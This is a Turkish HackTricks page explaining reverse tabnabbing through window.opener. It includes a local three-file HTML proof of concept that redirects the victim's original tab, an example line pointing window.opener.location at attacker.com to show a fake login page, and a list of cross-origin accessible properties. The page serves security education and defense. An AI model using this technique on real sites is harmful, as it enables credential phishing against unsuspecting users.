tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.
Açıklama
Bir saldırganın, bir mağdur tarafından tıklanacak olan <a
etiketinin href
argümanını kontrol edebildiği bir durumda, saldırgan bu bağlantıyı kontrolü altında olan bir web sitesine (bir kötü niyetli web sitesi) yönlendirebilir. Ardından, mağdur bağlantıya tıkladığında ve saldırganın web sitesine eriştiğinde, bu kötü niyetli web sitesi, javascript nesnesi window.opener
aracılığıyla orijinal sayfayı kontrol edebilir.
Eğer sayfa rel="opener"
içermiyorsa ancak target="_blank"
içeriyorsa ve rel="noopener"
yoksa, bu da savunmasız olabilir.
Bu davranışı kötüye kullanmanın yaygın bir yolu, orijinal webin konumunu window.opener.location = https://attacker.com/victim.html
ile saldırganın kontrolündeki bir web sitesine değiştirmek olacaktır; böylece, orijinal web sitesinin giriş formunu taklit edebilir ve kullanıcıdan kimlik bilgilerini isteyebilir.
Ancak, saldırgan artık orijinal web sitesinin pencere nesnesini kontrol edebildiğinden, bunu başka şekillerde kötüye kullanabilir ve gizli saldırılar gerçekleştirebilir (belki de javascript olaylarını değiştirerek kendisine ait bir sunucuya bilgi sızdırmak?).
Genel Bakış
Geri bağlantı ile
Önleme özelliği kullanılmadığında ana ve alt sayfalar arasındaki bağlantı:
Geri bağlantı olmadan
Önleme özelliği kullanıldığında ana ve alt sayfalar arasındaki bağlantı:
Örnekler
Aşağıdaki sayfaları bir klasörde oluşturun ve python3 -m http.server
ile bir web sunucusu çalıştırın.
Ardından, erişim sağlayın http://127.0.0.1:8000/
vulnerable.html, bağlantıya tıklayın ve orijinal web sitesinin URL'sinin nasıl değiştiğini not edin.
<!DOCTYPE html>
<html>
<body>
<h1>Victim Site</h1>
<a href="http://127.0.0.1:8000/malicious.html" target="_blank" rel="opener">Controlled by the attacker</a>
</body>
</html>
<!DOCTYPE html>
<html>
<body>
<script>
window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
</script>
</body>
</html>
<!DOCTYPE html>
<html>
<body>
<h1>New Malicious Site</h1>
</body>
</html>
Erişilebilir özellikler
Farklı kökenlerden erişim gerçekleştiği senaryoda, kötü niyetli bir sitenin erişebileceği opener JavaScript nesne referansı ile belirtilen window JavaScript sınıf örneğinin özellikleri aşağıdakilerle sınırlıdır:
opener.closed
: Bu özellik, bir pencerenin kapatılıp kapatılmadığını belirlemek için erişilir ve boolean bir değer döner.opener.frames
: Bu özellik, mevcut penceredeki tüm iframe öğelerine erişim sağlar.opener.length
: Mevcut pencerede bulunan iframe öğelerinin sayısını döner.opener.opener
: Bu özellik aracılığıyla mevcut pencereyi açan pencerenin referansı elde edilebilir.opener.parent
: Bu özellik, mevcut pencerenin üst pencere referansını döner.opener.self
: Bu özellik, mevcut pencereye erişim sağlar.opener.top
: Bu özellik, en üstteki tarayıcı penceresini döner.
Ancak, alanlar aynı olduğunda, kötü niyetli site, window JavaScript nesne referansı tarafından açığa çıkarılan tüm özelliklere erişim kazanır.
Önleme
Önleme bilgileri HTML5 Cheat Sheet belgesinde belgelenmiştir.
Referanslar
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.